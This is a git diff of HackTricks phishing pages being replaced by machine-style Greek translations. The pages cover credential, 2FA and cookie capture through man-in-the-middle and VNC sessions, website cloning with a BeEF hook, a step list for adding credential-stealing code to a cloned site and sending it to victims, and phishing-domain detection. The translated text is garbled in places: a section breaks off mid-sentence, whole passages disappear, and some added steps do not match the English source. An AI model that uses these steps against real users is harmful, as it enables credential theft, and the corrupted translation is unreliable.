|
||||
4. Once the user is authenticated you (as attacker) will have **captured the credentials, the 2FA, the cookie and any information** of every interaction your while the tool is performing a MitM.
|
||||
|
||||
### Via VNC
|
||||
|
||||
What if instead of **sending the victim to a malicious page** with the same looks as the original one, you send him to a **VNC session with a browser connected to the real web page**? You will be able to see what he does, steal the password, the MFA used, the cookies...\
|
||||
You can do this with [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)
|
||||
|
||||
## Detecting the detection
|
||||
|
||||
Obviously one of the best ways to know if you have been busted is to **search your domain inside blacklists**. If it appears listed, somehow your domain was detected as suspicions.\
|
||||
One easy way to check if you domain appears in any blacklist is to use [https://malwareworld.com/](https://malwareworld.com)
|
||||
|
||||
However, there are other ways to know if the victim is **actively looking for suspicions phishing activity in the wild** as explained in:
|
||||
|
||||
{% content-ref url="detecting-phising.md" %}
|
||||
[detecting-phising.md](detecting-phising.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
You can **buy a domain with a very similar name** to the victims domain **and/or generate a certificate** for a **subdomain** of a domain controlled by you **containing** the **keyword** of the victim's domain. If the **victim** perform any kind of **DNS or HTTP interaction** with them, you will know that **he is actively looking** for suspicious domains and you will need to be very stealth.
|
||||
|
||||
### Evaluate the phishing
|
||||
|
||||
Use [**Phishious** ](https://github.com/Rices/Phishious)to evaluate if your email is going to end in the spam folder or if it's going to be blocked or successful.
|
||||
|
||||
## References
|
||||
|
||||
* [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/)
|
||||
* [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/)
|
||||
* [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/)
|
||||
* [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
Σημείωση ότι το **Προφίλ Αποστολής επιτρέπει να στείλετε ένα δοκιμαστικό email για να δείτε πώς
|
||||
|
|
|
@ -1,59 +1,84 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
For a phishing assessment sometimes it might be useful to completely **clone a website**.
|
||||
Για μια αξιολόγηση phishing, μερικές φορές μπορεί να είναι χρήσιμο να κλωνοποιήσετε εντελώς έναν ιστότοπο.
|
||||
|
||||
Note that you can add also some payloads to the cloned website like a BeEF hook to "control" the tab of the user.
|
||||
Σημειώστε ότι μπορείτε επίσης να προσθέσετε ορισμένα φορτία στον κλωνοποιημένο ιστότοπο, όπως ένα BeEF hook για να "ελέγχετε" τον πίνακα του χρήστη.
|
||||
|
||||
There are different tools you can use for this purpose:
|
||||
Υπάρχουν διάφορα εργαλεία που μπορείτε να χρησιμοποιήσετε για αυτόν τον σκοπό:
|
||||
|
||||
## wget
|
||||
|
||||
```text
|
||||
wget -mk -nH
|
||||
```
|
||||
|
||||
## goclone
|
||||
|
||||
Το `goclone` είναι ένα εργαλείο γραμμής εντολών που χρησιμοποιείται για την αντιγραφή ιστότοπων. Με το `goclone`, μπορείτε να κλωνοποιήσετε έναν ιστότοπο και να τον αποθηκεύσετε τοπικά στον υπολογιστή σας.
|
||||
|
||||
### Εγκατάσταση
|
||||
|
||||
Για να εγκαταστήσετε το `goclone`, ακολουθήστε τα παρακάτω βήματα:
|
||||
|
||||
1. Κατεβάστε τον κώδικα του `goclone` από το αποθετήριο του στο GitHub.
|
||||
2. Αποσυμπιέστε το αρχείο και μεταβείτε στον φάκελο του `goclone`.
|
||||
3. Ανοίξτε ένα τερματικό και εκτελέστε την εντολή `go build` για να δημιουργήσετε το εκτελέσιμο αρχείο του `goclone`.
|
||||
4. Μετακινήστε το εκτελέσιμο αρχείο στον φάκελο `/usr/local/bin` για να είναι προσβάσιμο από οποιοδήποτε μέρος του συστήματός σας.
|
||||
|
||||
### Χρήση
|
||||
|
||||
Για να χρησιμοποιήσετε το `goclone`, ακολουθήστε τα παρακάτω βήματα:
|
||||
|
||||
1. Ανοίξτε ένα τερματικό και μεταβείτε στον φάκελο όπου θέλετε να αποθηκεύσετε τον κλωνοποιημένο ιστότοπο.
|
||||
2. Εκτελέστε την εντολή `goclone <URL>` όπου `<URL>` είναι η διεύθυνση URL του ιστότοπου που θέλετε να κλωνοποιήσετε.
|
||||
3. Αναμένετε την ολοκλήρωση της διαδικασίας κλωνοποίησης. Ο κλωνοποιημένος ιστότοπος θα αποθηκευτεί στον φάκελο που επιλέξατε.
|
||||
|
||||
Με το `goclone`, μπορείτε να αντιγράψετε ιστότοπους για ανάλυση, δοκιμές ασφαλείας ή οποιοδήποτε άλλο σκοπό χωρίς να χρειάζεται να συνδεθείτε στον πραγματικό ιστότοπο. Ανακαλύψτε τις δυνατότητες του `goclone` και επωφεληθείτε από αυτό το ισχυρό εργαλείο.
|
||||
```bash
|
||||
#https://github.com/imthaghost/goclone
|
||||
goclone <url>
|
||||
```
|
||||
## Εργαλείο Κοινωνικής Μηχανικής
|
||||
|
||||
## Social Engineering Toolit
|
||||
### Μεθοδολογία Κλωνοποίησης Ιστοσελίδας
|
||||
|
||||
Η κλωνοποίηση ιστοσελίδας είναι μια τεχνική κοινωνικής μηχανικής που χρησιμοποιείται για να αποκτηθούν προσωπικά στοιχεία από τα θύματα. Αυτή η μέθοδος συνήθως περιλαμβάνει τη δημιουργία μιας ακριβούς αντιγραφής μιας ιστοσελίδας, όπως μια τράπεζα ή μια πλατφόρμα κοινωνικής δικτύωσης, με σκοπό την απάτη των χρηστών και την κλοπή των διαπιστευτηρίων τους.
|
||||
|
||||
Για να κλωνοποιήσετε μια ιστοσελίδα, ακολουθήστε τα παρακάτω βήματα:
|
||||
|
||||
1. Επιλέξτε την ιστοσελίδα που θέλετε να κλωνοποιήσετε και αναλύστε τη δομή της.
|
||||
2. Κατεβάστε τον πηγαίο κώδικα της ιστοσελίδας.
|
||||
3. Αντιγράψτε τον πηγαίο κώδικα σε έναν τοπικό φάκελο στον υπολογιστή σας.
|
||||
4. Τροποποιήστε τον πηγαίο κώδικα για να προσθέσετε τον κακόβουλο κώδικα που θα σας επιτρέψει να καταγράψετε τα διαπιστευτήρια των θυμάτων.
|
||||
5. Ανεβάστε τον τροποποιημένο πηγαίο κώδικα σε έναν διακομιστή ή σε μια υπηρεσία cloud/SaaS.
|
||||
6. Δημιουργήστε έναν σύνδεσμο προς την κλωνοποιημένη ιστοσελίδα και αποστείλτε τον στα θύματα μέσω email, μηνύματος κειμένου ή κοινωνικών δικτύων.
|
||||
7. Παρακολουθήστε τον κλωνοποιημένο ιστότοπο για να συλλέξετε τα διαπιστευτήρια των θυμάτων.
|
||||
|
||||
Είναι σημαντικό να θυμάστε ότι η κλωνοποίηση ιστοσελίδας είναι παράνομη και απαγορεύεται. Χρησιμοποιήστε αυτήν τη μέθοδο μόνο για εκπαιδευτικούς σκοπούς και με την έγκριση του νόμου.
|
||||
```bash
|
||||
#https://github.com/trustedsec/social-engineer-toolkit
|
||||
```
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
|
|
@ -1,95 +1,63 @@
|
|||
# Detecting Phising
|
||||
# Ανίχνευση Φισινγκ
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github.
|
||||
|
||||
</details>
|
||||
|
||||
## Introduction
|
||||
## Εισαγωγή
|
||||
|
||||
To detect a phishing attempt it's important to **understand the phishing techniques that are being used nowadays**. On the parent page of this post, you can find this information, so if you aren't aware of which techniques are being used today I recommend you to go to the parent page and read at least that section.
|
||||
Για να ανιχνεύσετε μια προσπάθεια φισινγκ, είναι σημαντικό να **κατανοήσετε τις τεχνικές φισινγκ που χρησιμοποιούνται σήμερα**. Στη γονική σελίδα αυτής της ανάρτησης, μπορείτε να βρείτε αυτές τις πληροφορίες, οπότε αν δεν γνωρίζετε ποιες τεχνικές χρησιμοποιούνται σήμερα, σας συνιστώ να πάτε στη γονική σελίδα και να διαβάσετε τουλάχιστον αυτήν την ενότητα.
|
||||
|
||||
This post is based on the idea that the **attackers will try to somehow mimic or use the victim's domain name**. If your domain is called `example.com` and you are phished using a completely different domain name for some reason like `youwonthelottery.com`, these techniques aren't going to uncover it.
|
||||
Αυτή η ανάρτηση βασίζεται στην ιδέα ότι οι **επιτιθέμενοι θα προσπαθήσουν να μιμηθούν ή να χρησιμοποιήσουν το όνομα του τομέα του θύματος**. Εάν ο τομέας σας ονομάζεται `example.com` και γίνετε θύμα φισινγκ χρησιμοποιώντας έναν εντελώς διαφορετικό τομέα για κάποιο λόγο, όπως το `youwonthelottery.com`, αυτές οι τεχνικές δεν θα το αποκαλύψουν.
|
||||
|
||||
## Domain name variations
|
||||
## Παραλλαγές ονομάτων τομέα
|
||||
|
||||
It's kind of **easy** to **uncover** those **phishing** attempts that will use a **similar domain** name inside the email.\
|
||||
It's enough to **generate a list of the most probable phishing names** that an attacker may use and **check** if it's **registered** or just check if there is any **IP** using it.
|
||||
Είναι αρκετά **εύκολο** να **αποκαλύψετε** αυτές τις **προσπάθειες φισινγκ που θα χρησιμοποιήσουν ένα όνομα τομέα παρόμοιο** μέσα στο email.\
|
||||
Είναι αρκετό να **δημιουργήσετε μια λίστα με τα πιο πιθανά ονόματα φισινγκ** που μπορεί να χρησιμοποιήσει ένας επιτιθέμενος και να **ελέγξετε** αν είναι **καταχωρημένο** ή απλά να ελέγξετε αν υπάρχει κάποια **IP** που το χρησιμοποιεί.
|
||||
|
||||
### Finding suspicious domains
|
||||
### Εύρεση ύποπτων τομέων
|
||||
|
||||
For this purpose, you can use any of the following tools. Note that these tolls will also perform DNS requests automatically to check if the domain has any IP assigned to it:
|
||||
Για αυτόν τον σκοπό, μπορείτε να χρησιμοποιήσετε οποιοδήποτε από τα παρακάτω εργαλεία. Σημειώστε ότι αυτά τα εργαλεία θα πραγματοποιήσουν αυτόματα αιτήσεις DNS για να ελέγξουν αν ο τομέας έχει καταχωρηθεί σε κάποια IP:
|
||||
|
||||
* [**dnstwist**](https://github.com/elceef/dnstwist)
|
||||
* [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy)
|
||||
|
||||
### Bitflipping
|
||||
|
||||
**You can find a short the explanation of this technique in the parent page. Or read the original research in [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)**
|
||||
**Μπορείτε να βρείτε μια σύντομη εξήγηση αυτής της τεχνικής στη γονική σελίδα. Ή διαβάστε την αρχική έρευνα στο [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)**
|
||||
|
||||
Για παράδειγμα, μια τροποποίηση 1 bit στον τομέα microsoft.com μπορεί να τον μετατρέψει σε _windnws.com._\
|
||||
**Οι επιτιθέμενοι μπορεί να καταχωρίσουν όσους τομείς με τροποποίηση bit-flipping είναι δυνατόν σχετίζονται με το θύμα για να ανακατευθύνουν νόμιμους χρήστες στην υποδομή τους**.
|
||||
|
||||
For example, a 1 bit modification in the domain microsoft.com can transform it into _windnws.com._\
|
||||
**Attackers may register as many bit-flipping domains as possible related to the victim to redirect legitimate users to their infrastructure**.
|
||||
**Όλα τα πιθανά ονόματα τομέων με τροποποίηση bit-flipping πρέπει επίσης να παρακολουθούνται.**
|
||||
|
||||
### Βασικοί έλεγχοι
|
||||
|
||||
**All possible bit-flipping domain names should be also monitored.**
|
||||
Αφού
|
||||
### **Νέοι τομείς**
|
||||
|
||||
### Basic checks
|
||||
|
||||
Once you have a list of potential suspicious domain names you should **check** them (mainly the ports HTTP and HTTPS) to **see if they are using some login form similar** to someone of the victim's domain.\
|
||||
You could also check port 3333 to see if it's open and running an instance of `gophish`.\
|
||||
It's also interesting to know **how old each discovered suspicions domain is**, the younger it's the riskier it is.\
|
||||
You can also get **screenshots** of the HTTP and/or HTTPS suspicious web page to see if it's suspicious and in that case **access it to take a deeper look**.
|
||||
|
||||
### Advanced checks
|
||||
|
||||
If you want to go one step further I would recommend you to **monitor those suspicious domains and search for more** once in a while (every day? it only takes a few seconds/minutes). You should also **check** the open **ports** of the related IPs and **search for instances of `gophish` or similar tools** (yes, attackers also make mistakes) and **monitor the HTTP and HTTPS web pages of the suspicious domains and subdomains** to see if they have copied any login form from the victim's web pages.\
|
||||
In order to **automate this** I would recommend having a list of login forms of the victim's domains, spider the suspicious web pages and comparing each login form found inside the suspicious domains with each login form of the victim's domain using something like `ssdeep`.\
|
||||
If you have located the login forms of the suspicious domains, you can try to **send junk credentials** and **check if it's redirecting you to the victim's domain**.
|
||||
|
||||
## Domain names using keywords
|
||||
|
||||
The parent page also mentions a domain name variation technique that consists of putting the **victim's domain name inside a bigger domain** (e.g. paypal-financial.com for paypal.com).
|
||||
|
||||
### Certificate Transparency
|
||||
|
||||
It's not possible to take the previous "Brute-Force" approach but it's actually **possible to uncover such phishing attempts** also thanks to certificate transparency. Every time a certificate is emitted by a CA, the details are made public. This means that by reading the certificate transparency or even monitoring it, it's **possible to find domains that are using a keyword inside its name** For example, if an attacker generates a certificate of [https://paypal-financial.com](https://paypal-financial.com), seeing the certificate it's possible to find the keyword "paypal" and know that suspicious email is being used.
|
||||
|
||||
The post [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/) suggests that you can use Censys to search for certificates affecting a specific keyword and filter by date (only "new" certificates) and by the CA issuer "Let's Encrypt":
|
||||
|
||||
![https://0xpatrik.com/content/images/2018/07/cert_listing.png](<../../.gitbook/assets/image (390).png>)
|
||||
|
||||
However, you can do "the same" using the free web [**crt.sh**](https://crt.sh). You can **search for the keyword** and the **filter** the results **by date and CA** if you wish.
|
||||
|
||||
![](<../../.gitbook/assets/image (391).png>)
|
||||
|
||||
Using this last option you can even use the field Matching Identities to see if any identity from the real domain matches any of the suspicious domains (note that a suspicious domain can be a false positive).
|
||||
|
||||
**Another alternative** is the fantastic project called [**CertStream**](https://medium.com/cali-dog-security/introducing-certstream-3fc13bb98067). CertStream provides a real-time stream of newly generated certificates which you can use to detect specified keywords in (near) real-time. In fact, there is a project called [**phishing\_catcher**](https://github.com/x0rz/phishing\_catcher) that does just that.
|
||||
|
||||
### **New domains**
|
||||
|
||||
**One last alternative** is to gather a list of **newly registered domains** for some TLDs ([Whoxy](https://www.whoxy.com/newly-registered-domains/) provides such service) and **check the keywords in these domains**. However, long domains usually use one or more subdomains, therefore the keyword won't appear inside the FLD and you won't be able to find the phishing subdomain.
|
||||
**Μία τελευταία εναλλακτική λύση** είναι να συγκεντρώσετε μια λίστα με **νεοεγγεγραμμένους τομείς** για ορισμένα TLDs ([Το Whoxy](https://www.whoxy.com/newly-registered-domains/) παρέχει τέτοια υπηρεσία) και **να ελέγξετε τις λέξεις-κλειδιά σε αυτούς τους τομείς**. Ωστόσο, οι μακροπρόθεσμοι τομείς συνήθως χρησιμοποιούν έναν ή περισσότερους υποτομείς, επομένως η λέξη-κλειδί δεν θα εμφανίζεται μέσα στον FLD και δεν θα μπορείτε να βρείτε τον φαινομενικό υποτομέα phishing.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,65 +1,62 @@
|
|||
# Phishing Files & Documents
|
||||
# Αρχεία και Έγγραφα Φισίνγκ
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΛΑΝΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
## Office Documents
|
||||
## Έγγραφα Γραφείου
|
||||
|
||||
Microsoft Word performs file data validation before opening a file. Data validation is performed in the form of data structure identification, against the OfficeOpenXML standard. If any error occurs during the data structure identification, the file being analysed will not be opened.
|
||||
Το Microsoft Word πραγματοποιεί επικύρωση δεδομένων αρχείου πριν ανοίξει ένα αρχείο. Η επικύρωση δεδομένων πραγματοποιείται στη μορφή αναγνώρισης δομής δεδομένων, σύμφωνα με το πρότυπο OfficeOpenXML. Εάν συμβεί οποιοδήποτε σφάλμα κατά την αναγνώριση της δομής δεδομένων, το αρχείο που αναλύεται δεν θα ανοίξει.
|
||||
|
||||
Usually, Word files containing macros use the `.docm` extension. However, it's possible to rename the file by changing the file extension and still keep their macro executing capabilities.\
